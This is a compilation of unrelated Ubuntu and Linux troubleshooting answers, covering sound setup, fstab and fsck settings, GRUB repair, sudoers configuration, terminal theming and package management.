vm.dirty_bytes = 67108864
vm.dirty_background_bytes = 1048576
vm.dirty_expire_centisecs = 30
vm.dirty_writeback_centisecs = 30

I'll update this answer as I learn more, but I think these aggressive settings are fine for my SSD, which has its own large on-drive write cache.


How to move top panel to bottom in Ubuntu 15.04 with Gnome 3.16.2?

The extension BottomPanel works with GNOME Shell 3.16.2

% gnome-shell --version
GNOME Shell 3.16.2


Is it possible to colorize permissions-part of the output of `ls`?

Parsing ls output is notoriously error prone, but here's a working version based on find:

while IFS=$'\t' read -r -d '' perms name
do
    echo "${perms:0:1}$(tput bold; tput setaf 1)${perms:1:3}$(tput setaf 4)${perms:4:3}$(tput setaf 2)${perms:7:3}$(tput sgr0) ${name}"
done < <(find . -maxdepth 1 -printf "%M\t%f\0")


Try this ( Open terminal: Ctrl + Alt + T):

Install pavucontrol
sudo apt-get install pavucontrol
Install PulseAudio

2.1 sudo apt update

2.2 sudo apt install pulseaudio

2.3 Now reboot your computer.

2.4 Check if PulseAudio was installed pulseaudio --version , terminal should output something similar to mine

  pulseaudio 11.1

Start AudioPulse pulseaudio --start (this doesn't open the GUI)
Open the Volume Control GUI pavucontrol, this should start something similar to mine

and from here set to default audio input/out by checking that green checkmark


16.04 to 17.10 login loop because of xsession and upstart

Just move or remove upstart files from Xsession.d to get it running. In my case,
00upstart, 99upstart, 99x11-common_start needed to be moved.


Try sudo shutdown -h now command to shutdown quickly.


Upstart Script Variables That Wait For System Services To Be Available

Well the proper way of doing things is to use events. Other Upstart scripts emit signals when they are doing things, this way you can have:

start on (local-filesystems and net-device-up IFACE!=lo)

... and your script won't start until the filesystem and local networking are ready for business.

This still might not work for you (I'm not sure what level you need to wait until) but have a play around, listening to different events.

You can read more about start-on in the cookbook.


Newly installed application is not found until log-out

I already had this issue since 15.10 and its the same in 16.04 now.

Its very similar to a problem stated here where it was  zeitgeist related. Reinstantiating the zeitgeist db seemed to help. I did not try it though.


make: *** No rule to make target 'ell/util.c' needed by 'ell/util.lo'

ofono-1.31/ell/util.h : util.h is a link to "ofono-1.31/../ell/ell/util.h", i.e. a directory ell/ outside the ofono-1.31/ directory, like this :

/home/name/tmp/
├── ofono-1.31/
├── ell/

Download "ell" :

cd [folder with ofono]/
git clone https://github.com/bryanperris/ell.git

.... and run ./configure && make in ofono-1.31/ again.


How to get rid of white color on white text for Ambiance Blue theme?

These are the ones that need to be edited:

/usr/share/{theme}/gtk-2.0/gtkrc

or

~/.themes/{theme}/gtk-2.0/gtkrc

change it to:

text_color:#000000
bg_color:#ffffff

is the code for black text and white boxes
I am using Equinox Evolution Midnight on Sabayon linux with openbox and lxappearance does not change the colour of the white text on black text boxes or white text on white background in firefox (also libreoffice had reversed colours, yuck)

I hope someone spends less time figuring this out because of this answer.


How to add app icons to the dropdown menu?

Try Alacarte.

  Alacarte is an easy-to-use menu editor for GNOME that can add and edit
  new entries and menus. It works with the freedesktop.org menu
  specification and should work with any desktop environment that uses
  the spec.

To install Alacarte

Source:Ubuntu Apps


How to run a Iphone backup with idevicebackup2?

The syntax in your command is a little bit wrong.
Your command is: :~$ idevicebackup2 -u-d backup --full ~/backupiphone

You are missing a space in your command between -u and -d.
So the right command would be:

:~$ idevicebackup2 -u -d backup --full ~/backupiphone

Then you get the expected output.
For more information about the idevicebackup2 command see here.


No sound through headphones while speakers work fine

FIXED IT: for anyone else having the same problem, I got it to work.
Edit the snippet of code I've posted in my original post into your alsa-base.conf file. (type gksudo gedit /etc/modprobe.d/alsa-base.conf into a terminal)

Fully shut-down your computer and start it up again. Rebooting won't do it. Your headphones should now work.


second internal ntfs hard drive not mountable

That error is only triggered when a location to mount wasn't specified in the command and the device isn't listed in the /etc/fstab file. Based on the fstab file you've added, it doesn't show a /dev/sdb2. A blkid command output would be helpful in this instance since we could compare the UUIDs to the sd* device names. A sure fire way to avoid that particular error message is to specify the directory you would like to mount the disk:

mount -t fstype /dev/sdb2 /path/to/mount

You'll need to run the above command with root permissions or with sudo. Also, replace "fstype" with the actual filesystem type, such as ntfs.


Xubuntu can't boot, stucks at /dev/sda2 clean, HP 630

It is doing a check of your disks. Depending on the size of your hard drives, this could take an extraordinarily long amount of time.

You can edit the sixth field in /etc/fstab for each filesystem to be mounted on boot to determine whether it does a filesystem check by changing it to 0.

--

How to skip boot-time fsck check preferably by editing grub menu-entry?

Editing /etc/fstab file to bypass fsck check at boot:

You can change the value of , the 6th field of file system description line in /etc/fstab to 0 (zero) to avoid filesystem check at the boot. (For your swap it's already 0, so you'll have to change your / and /home partitions' values from 1 and 2 respectively to 0 each.)

#

UUID=0a0fda6a-a0af-461f-936e-fe6feff3adba /      ext2  errors=remount-ro 0       1

UUID=b9ed5358-a68a-48ef-8c51-7241f0462913 /home  ext4  defaults          0       2

UUID=301dcfce-1bb3-415d-a71a-df64add29443 none   swap    sw              0       0
..so that the entries look like:

#

UUID=0a0fda6a-a0af-461f-936e-fe6feff3adba /      ext2  errors=remount-ro 0       0

UUID=b9ed5358-a68a-48ef-8c51-7241f0462913 /home  ext4  defaults          0       0

UUID=301dcfce-1bb3-415d-a71a-df64add29443 none   swap    sw              0       0
The documented description of the fs_passno i.e.  field in /etc/fstab file:

The sixth field (`fs_passno`):
This field is used by the fsck program to determine the order in which filesystem checks are done at reboot time. The root filesystem should be specified with a fs_passno of 1, and other filesystems should have a fs_passno of 2. Filesystems within a drive will be checked sequentially, but filesystems on different drives will be checked at the same time to utilize parallelism available in the hardware. If the sixth field is not present or zero, a value of zero is returned and fsck will assume that the filesystem does not need to be checked.


From the title :

You can edit your sudoers file like:

sudo visudo

And add the following entry, replace user with your username, for example gogo:

user ALL=(ALL) NOPASSWD:ALL

Press ESC then :wq to save it. Then re-login.

However this is consider as a very bad security approach.
Note that each active non-root account needs to have a password.

Edit:

Abbreviation sudo means super user do. Certain binaries are executable only from privileged account - root. Normal user accounts can escalate this by configuring their account in the sudoers file.

If you are asking for restoring the password, refer to the mentioned links in the comments.


How to share architecture-independent latex files across multiple setups

You can easily share a complete installation of TeXlive (which would have to include all needed architectures) via e.g. NFS; the clients only have to point their $PATH to the binary path (e.g. .../tex/texlive/2012/bin/x86_64-linux/) relevant for them.


There is an unofficial native Linux driver now available here: https://github.com/smlinux/rtl8723de


Will upgrade change my desktop settings to defaults?

Most likely not, however it all depends on how you go about upgrading.

You can either use the updater (Which will most likely save every setting you have made then add all the new features).

Or completely re-install Ubuntu from a LiveCD and therefor wiping everything.


You can use the Live CD option when booting the ISO to check if everything works fine. If it does, you should be able to use a full install of Ubuntu.


How come I have access to /root directory even though I am not root user anymore? I thought only root user can have access to the /root
  directory?

That's just because you happened to be in /root when you executed the su command. You will find that you cannot re-access /root once you leave it:

root@t400s:~# pwd
/root
root@t400s:~# su testuser
testuser@t400s:/root$

but

testuser@t400s:/root$ cd ../
testuser@t400s:/$ cd root
bash: cd: root: Permission denied

  Or is it that every superuser/user can have its own /root directory?

No.

  Assuming every superuser can access/have its own /root directory. How do I do access it? Because I ran, sudo cd root but that didn't
  seem to work.

That's because cd is a shell builtin command: sudo only works with external executable programs. See for example

Why doesn't sudo cd /var/named work?
How to enter a directory with the 'cd' command if it has 700 permission and is not owned by me?


How to repair Grub with Live CD of Different Version of Ubuntu

If the questions are:

Is it possible to repair grub with different version of Ubuntu Live CD?

If possible then how could I do that and how risky that process?

The answers are:

Yes, it is possible and safe. It does not involve any risk to repair the Grub.

Should just do it through chroot:

Insert the Ubuntu LiveCD into the CD/DVD drive and reboot the computer. The machine boots from the LiveCD.

Click the “Try Ubuntu Without Installing” icon from the LiveCD “Start” menu. Ubuntu boots from the LiveCD.

Click “Applications” from the top taskbar in the Ubuntu desktop, and then click “Accessories.”

Click the “Terminal” option. The Ubuntu command-line terminal opens.

Type the following command at the prompt and press the “Enter” key. Replace “sdax” with the name of your “root” partition linux 8300.

sudo -i
fdisk -l
mount /dev/sdax /mnt
mount --bind /dev /mnt/dev
mount --bind /dev/pts /mnt/dev/pts
mount --bind /proc /mnt/proc
mount --bind /sys /mnt/sys
chroot /mnt
grub-mkconfig -o /boot/grub/grub.cfg
grub-install --root-directory=/mnt /dev/sda
grub-install --recheck /dev/sda
umount /mnt
reboot


Installing dual-boot Windows 10 and Ubuntu on separate disks

You would have to change the boot order of the drives depending on which OS you wish to boot if they are on separate drives.

If not then yes, you will need to add entries into GRUB.

Your best option would be to either:

A. Install Ubuntu, and Windows 10 on the SSD (Allocated 64GB to each which, should be plenty for the OS as long as if you have your /home on the HDD).

B. Install Ubuntu, and Windows 10 on the HDD and have your /home on the SSD, and install Windows programs to the SSD for faster load times.

Sadly, you will not be able to put both on separate drives without doing some type of work to it.

(Please note: I could be completely incorrect on this, but from personal experience, I have not been able to do this on 2 separate drives and still have an option to choose which OS I'd like to open from GRUB. However in BIOS, you will have that option).


Try setting these boot parameters, as ACPI and APM often can be problematic.

sudo -H gedit /etc/default/grub

to change

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"

to

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash acpi=force apm=power_off"

then save the file and exit gedit.

Then, do

sudo -H gedit /etc/modules

and add

apm power_off=1

and save the file. Then do

sudo update-grub

and reboot. Should that not resolve the issue, please record the shutdown using your smartphone in slo mo mode a la Ubuntu 16.04.1 : shutdown/reboot stuck on "[ok] stopped thermal daemon service"


Install OpenGL 4.0+ in Ubuntu 14.04 running by a VM

You can't use OpenGL 4.0 in a virtual machine.

VM does not directly interact with the hardware. That's why you can't use a proprietary Nvidia driver.

You will be able to use OpenGL 4.0+ in Ubuntu, if you install it directly without any virtualization.


Don't try and do the manual configuration,  just input your name, email and password. Mozilla maintains its own ISP and email service provider database which Thunderbird automatically checks.


How to update firefox while keep all my current stuff?

The bookmarks and extensions will not be lost.

All bookmarks and extensions and preferences are stored in /home/user/.mozilla so replacing /opt/firefox should be absolutely fine.


How to change the design of tab in terminator?

Update: terminator also uses gtk in background so check your version of terminator using:

terminator -v

If it is version 0.97 then make changes in the gtk2 file because it uses gtk2, and Ubuntu uses gtk3 so you have to change in both files.

For the theme check use:

gsettings get org.gnome.desktop.interface gtk-theme

then change the following in /usr/share/themes/<YOUR_THEME>/gtk-2.0/gtkrc:

style "notebook_bg" {
  bg[NORMAL] = shade (1.02, @bg_color)
  bg[ACTIVE] = shade (0.97, @bg_color)
  fg[ACTIVE] = mix (0.8, @fg_color, shade (0.97, @bg_color))
}

Replace @bg_color in bg[NORMAL] with a color of your choice, e.g., "#F98686"(quotes required).

To make changes in gtk3, open ~/.config/gtk-3.0/gtk.css (if it doesn't exist then create it):

TerminalWindow .notebook tab:active{
  background-color: @bg_color;
}

Save it and reopen the terminal.

For other change :

right click on terminator screen --> preferences

Here  you can change terminator appearance that you want to change like custom profile, layouts, plug-ins, colors, etc. Once you add a new configuration it will create configuration files under ~/.config/terminator/.

Edit :
for color change :

preferences --> profiles--> colors

for layout change :

preferences --> profiles--> Layouts--> Add--> give name --> close

It will create config file ~/.config/terminator/config
open this file using

gedit ~/.config/terminator/config

Change size and other things that you want in this file. You can also change color from this file.

reference :link

Note : Kindly re-launch the application for the changes to take effect.


Dual Boot - Boot Repair - Problems with Legacy vs UEFI

Windows and Ubuntu Same Mode
You need to install Ubuntu in the same BIOS/UEFI mode that Windows is installed in, in your case BIOS, (ie Legacy).
If Ubuntu is installed UEFI, GRUB will not boot Windows. I think you need to reinstall Ubuntu, not just change the bootloader.


These instructions are for firefox.

First, click on the hamburger menu.

Next, click on the blue question mark help icon at the bottom of the dropdown.

Then, click on "report deceptive site".

This will take you to the report web forgery page where you can submit a complaint.

Also, you can check to see if a website is safe by searching the URL at VirusTotal. A quick search of this URL shows this is a malicious, phishing, malware website.

Additionally, looking at the IP, under "communicating files" it only shows Windows and Android files but there is one MS Word document listed. The two Android files appear to be apk files. According to what we know about the website, it does not appear to be a threat to you on Ubuntu. However, it is a threat as a phishing website if you were to enter your login credentials to the website.


Thunderbird login screen cannot select next or more options

I guess this results due to a change in Google's login front-end. It's fixed in the latest TB, but for Ubuntu you should wait for the package maintainer if you are only using official repos. For more details and possible workarounds:
https://bugzilla.mozilla.org/show_bug.cgi?id=1359297


How to replace ppa provided packages by ubuntu provided ones?

Follow below steps to solve the problem.

1) Install ppa-purge.

sudo apt-get update && sudo apt-get install ppa-purge

2) Add again the ppas, to revert ppa provided packages to official ones

sudo add-apt-repository ppa:xorg-edgers/ppa
sudo add-apt-repository ppa:mc3man/trusty-media

3) Purge the ppas and revert ppa provided packages to official ones by ppa-purge

sudo ppa-purge ppa:xorg-edgers/ppa
sudo ppa-purge ppa:mc3man/trusty-media

4) Use aptitude install package_name to check if there is any dependency conflict.  If there is then go through the aptitude provided dependency resolution options one by one and apply suitable changes.

5) Some dependency arises because the installing package depends on old libraries.  In this case symlinking updates libraries to old ones or downgrading solves the problem.


How to get the current network traffic via the commandline in a simple format


I did not set swap memory, will that affect the way Ubuntu runs?

The purpose of SWAP is to extend your RAM using a special HDD partition or an file.

If the total of your memory usage won't reach to 8GB, the lack of SWAP partition won't affect you.

Note: If you would like to be able to hibernate your computer, then you should have a SWAP partition.

More info about SWAP can be found in What Is a Linux SWAP Partition, And What Does It Do?


When creating a VM using VirtualBox, the first screen you are presented with asks for the name of your new VM and attempts to auto-detect which operating system you're installing. Make sure that you select Ubuntu (64 bit) in the OS drop-down menu. Just selecting Ubuntu in that menu will result in the error you have described.


Of course I figure it out less than 24hrs after posting.

I found that lsusb was hanging.  I had a DELL S2340T monitor plugged into one of the USB3 ports (the monitor is a hub and also supports touch via USB...DisplayLink, etc.).  Unplugging that fixed lsusb, allowed unity-control-center to display, and also fixed a hang-at-logout problem.

No idea whether the problem is specific to the USB3 on this box or the just the monitor.  Don't care either, as I don't need any of the features of USB3 or USB from the monitor.  Just glad 16.04 is working now...